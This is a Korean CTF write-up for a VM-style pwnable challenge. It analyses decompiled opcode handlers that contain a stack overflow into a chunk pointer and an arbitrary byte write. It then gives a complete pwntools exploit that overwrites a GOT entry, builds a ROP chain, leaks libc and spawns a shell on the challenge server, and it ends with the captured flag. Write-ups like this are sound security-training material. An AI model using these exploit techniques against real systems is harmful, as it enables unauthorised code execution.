# NVODIA

> opcode를 입력받아 지정한 동작을 수행하는 VM 파일이다.


- NVODIA
  - Analysis
  - Exploit
  - Exploit Code


## Analysis

사용자는 0x1000 바이트의 입력을 넣을 수 있으며, 이에 따라 구성되는 사용자 구조체의 구조는 다음과 같다.

```
00000000 opcode_struc    struc ; (sizeof=0x1440, mappedto_15)
00000000 user_value      db 4096 dup(?)
00001000 one_value1_t    dd ?
00001004 one_value2_t    dd ?
00001008 one_value3_t    dd ?
0000100C flag            dd ?
00001010 idx_t           dd ?
00001014 opcode_buf_length dd ?
00001018 malloc_size2_t  dd ?
0000101C malloc_size1_t  dd ?
00001020 chunk_index1_t  dd ?
00001024 chunk_index2_t  dd ?
00001028 one_buf_t       dd 256 dup(?)
00001428 one_idx         dd ?
0000142C                 db ? ; undefined
0000142D                 db ? ; undefined
0000142E                 db ? ; undefined
0000142F                 db ? ; undefined
00001430 chunk           dq ?
00001438 field_1438      dq ?
00001440 opcode_struc    ends
00001440
```

다양한 opcode들이 존재하지만, 분석을 통해 중요한 동작을 수행하는 opcode는 `,e, d, b, c`이라는 것을 알 수 있었다.

- opcode e

```
case 0xE:
    opcode_buf_idx_t += 5;
    if ( opcode_buf_length_ < opcode_buf_idx_t )
      goto ABORT;
    v24 = (unsigned int)opcode_buf->one_idx;
    v25_t = *(_DWORD *)&opcode_buf->user_value[next_idx];
    opcode_buf->idx_t = opcode_buf_idx_t;
```

```
        opcode_buf->one_value1_t = v25_t;
        if ( (_DWORD)v24 == 1024 )
          goto ABORT;
        opcode_buf->one_idx = v24 + 1;
        opcode_buf->one_buf_t[v24] = v25_t;      // overflow
```

v24를 index로 하여 one_buf_t를 참조하는데, one_buf_t는 DWORD형 배열이지만, v24 검사문은 CHAR형 배열을 검사하는 것처럼 사이즈를 비교하고 있다. 이로 인해 사용자 구조체에서 **stack overflow**가 발생하며, 사용자 구조체의 chunk 부분을 덮을 수 있다.

- opcode d

```
    case 0xD:
        v46 = opcode_buf->one_idx;
        if ( !v46 )
          goto ABORT;
        v47 = (unsigned int)(v46 - 1);
        v48 = opcode_buf->chunk;
        v49_t = opcode_buf->one_buf_t[v47];
        opcode_buf->one_idx = v47;
        LODWORD(v47) = opcode_buf->chunk_index2_t * opcode_buf-
>malloc_size1_t;
        opcode_buf->one_value1_t = v49_t;
        *(_BYTE *)(v48 + (unsigned int)(opcode_buf->chunk_index1_t + v47)) =
v49_t; // arbitrary write
        opcode_buf_idx_t = opcode_buf->idx_t;
        opcode_buf_length_ = opcode_buf->opcode_buf_length;
        continue;
```

v48에 chunk를 받아서 chunk_index1_t + v47을 인덱스로 하여 한 바이트씩 값을 쓸 수 있다. v47은 chunk_index2_t * malloc_size1_t이기 때문에 이어 서술하는 opcode의 기능으로 모두 조작이 가능하다.

- opcode b

```
    case 0xB:
        ...
        opcode_buf->malloc_size1_t = v52_t;
        opcode_buf->malloc_size2_t = v54_t;
        v55 = malloc(v54_t * v52_t);
        old_chunk = (void *)opcode_buf->chunk;
        new_chunk = (__int64)v55;
        ...
```

v52_t와 v54_t는 사용자 구조체에서 파싱한 값이다.

- opcode c

```
  case 0xC:
      v44_t = opcode_buf->malloc_size1_t;
      if ( !v44_t )
        goto ABORT;
      v45_t = opcode_buf->malloc_size2_t;
      if ( !v45_t || !opcode_buf->chunk || v44_t <= v43_t || v45_t <= v41_t
)
        goto ABORT;                             // malloc_size1 > chunk_index1
                                                // malloc_size2 > chunk_index2
      opcode_buf->chunk_index2_t = v41_t;
      opcode_buf->chunk_index1_t = v43_t;
```

마찬가지로 v41_t와 v43_t도 파싱된 값이다. 사이즈 검사가 존재하기 때문에 Out of Bound는 발생하지 않는다.

## Exploit

- opcode b, e를 사용하여 sleep_got로 chunk를 조작
- 조작된 chunk(sleep_got)에 opcode c, d를 사용하여 rop를 진행할 수 있도록 stack pivoting
- 라이브러리 주소를 얻고 one gadget을 이용하여 쉘 획득

## Exploit Code

```
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

e = ELF('./bin')
l = ELF('./libc-2.27.so')
# l = e.libc

gs = '''
b* 0x400c87
'''
# s = process('./bin')
s = remote('prob1.cstec.kr', 5555)

def retry(sell='y'):
    s.sendlineafter(b'(y/n):', sell)

def db(s):
    gdb.attach(s, gdbscript=gs)
    pause()

# malloc or free
def case_b(v52_t, v54_t):
    pay = b"\x0B"
    pay += p32(v52_t)
    pay += p32(v54_t)
```

```
    return pay

# overflow
def case_e(v25_t):
    pay = b"\x0E"
    pay += p32(v25_t)
    return pay

# set chunk index
def case_c(v41_t, v43_t):
    pay = b"\x0C"
    pay += p32(v41_t)
    pay += p32(v43_t)
    return pay

def case_d():
    pay = b"\x0d"
    return pay

def case_f4():
    pay = b"\xF4"
    return pay

v52_t = 0x10
v54_t = 0x10
v25_t = 0x0
one_idx = 0x100
v41_t = 1
v43_t = 1 # index
sleep_got = e.got['_IO_getc'] - 0x11
sleep_one = 0x5622
gadget = 0x400CC8
prdi = 0x0000000000400cd8
prsi = 0x000000000040111f
stdout = 0x602100
__printf_chk_plt = 0x400880
read_plt = 0x400840
bss = 0x602500

# db(s)

pay = case_b(v52_t, v54_t)
pay += case_e(v25_t) * int(0x400/4)
pay += case_e(int(0x408/4))
pay += case_e(sleep_got & 0xFFFFFFFF)
pay += case_e((sleep_got >> 32) & 0xFFFFFFFF)
for _ in range(5):
    pay += case_e(0)
for b in bytearray(p64(gadget))[::-1]:
    pay += case_e(b)
for _ in range(8):
    pay += case_c(v41_t, v43_t)
    pay += case_d()
    v43_t += 1
```

```
for _ in range(7):
    pay += case_f4()
for _ in range(2):
    pay += case_e(0)
g = cyclic_gen()
for _ in range(13):
    pay += case_e(bss)
    pay += case_e(0)
pay += case_e(prdi)
pay += case_e(0)
pay += case_e(1)
pay += case_e(0)
pay += case_e(prsi)
pay += case_e(0)
pay += case_e(stdout)
pay += case_e(0)
pay += case_e(__printf_chk_plt)
pay += case_e(0)
pay += case_e(prdi)
pay += case_e(0)
pay += case_e(0)
pay += case_e(0)
pay += case_e(prsi)
pay += case_e(0)
pay += case_e(bss)
pay += case_e(0)
pay += case_e(read_plt)
pay += case_e(0)
pay += case_e(0x40111b)
pay += case_e(0)
pay += case_e(bss)
pay += case_e(0)

pay = pay.ljust(0x1000, b'\x00')
s.sendafter(b": ", pay)

s.recvuntil(b'(y/n):')
leak = u64(s.recv(8).ljust(8, b'\x00'))
LIBC_BASE = leak - 0x3ec760
log.info(f"LIBC_BASE: {hex(LIBC_BASE)}")
one = LIBC_BASE + 0x4f432 # 0x4f432 0x4f3d5
system = LIBC_BASE + l.symbols['system']

s.send(b"\x00"*0x10 + p64(one) + b"\x00"*0x100)
s.interactive()
```

apollob{b45ba87c7baf87a6f171b5d44265432537dc24deba7176db0afe5c7faf437c3b349276b195505935f2e4947ad2a36ccb8744025dc6dae5751bb8b9a251db23f2f4}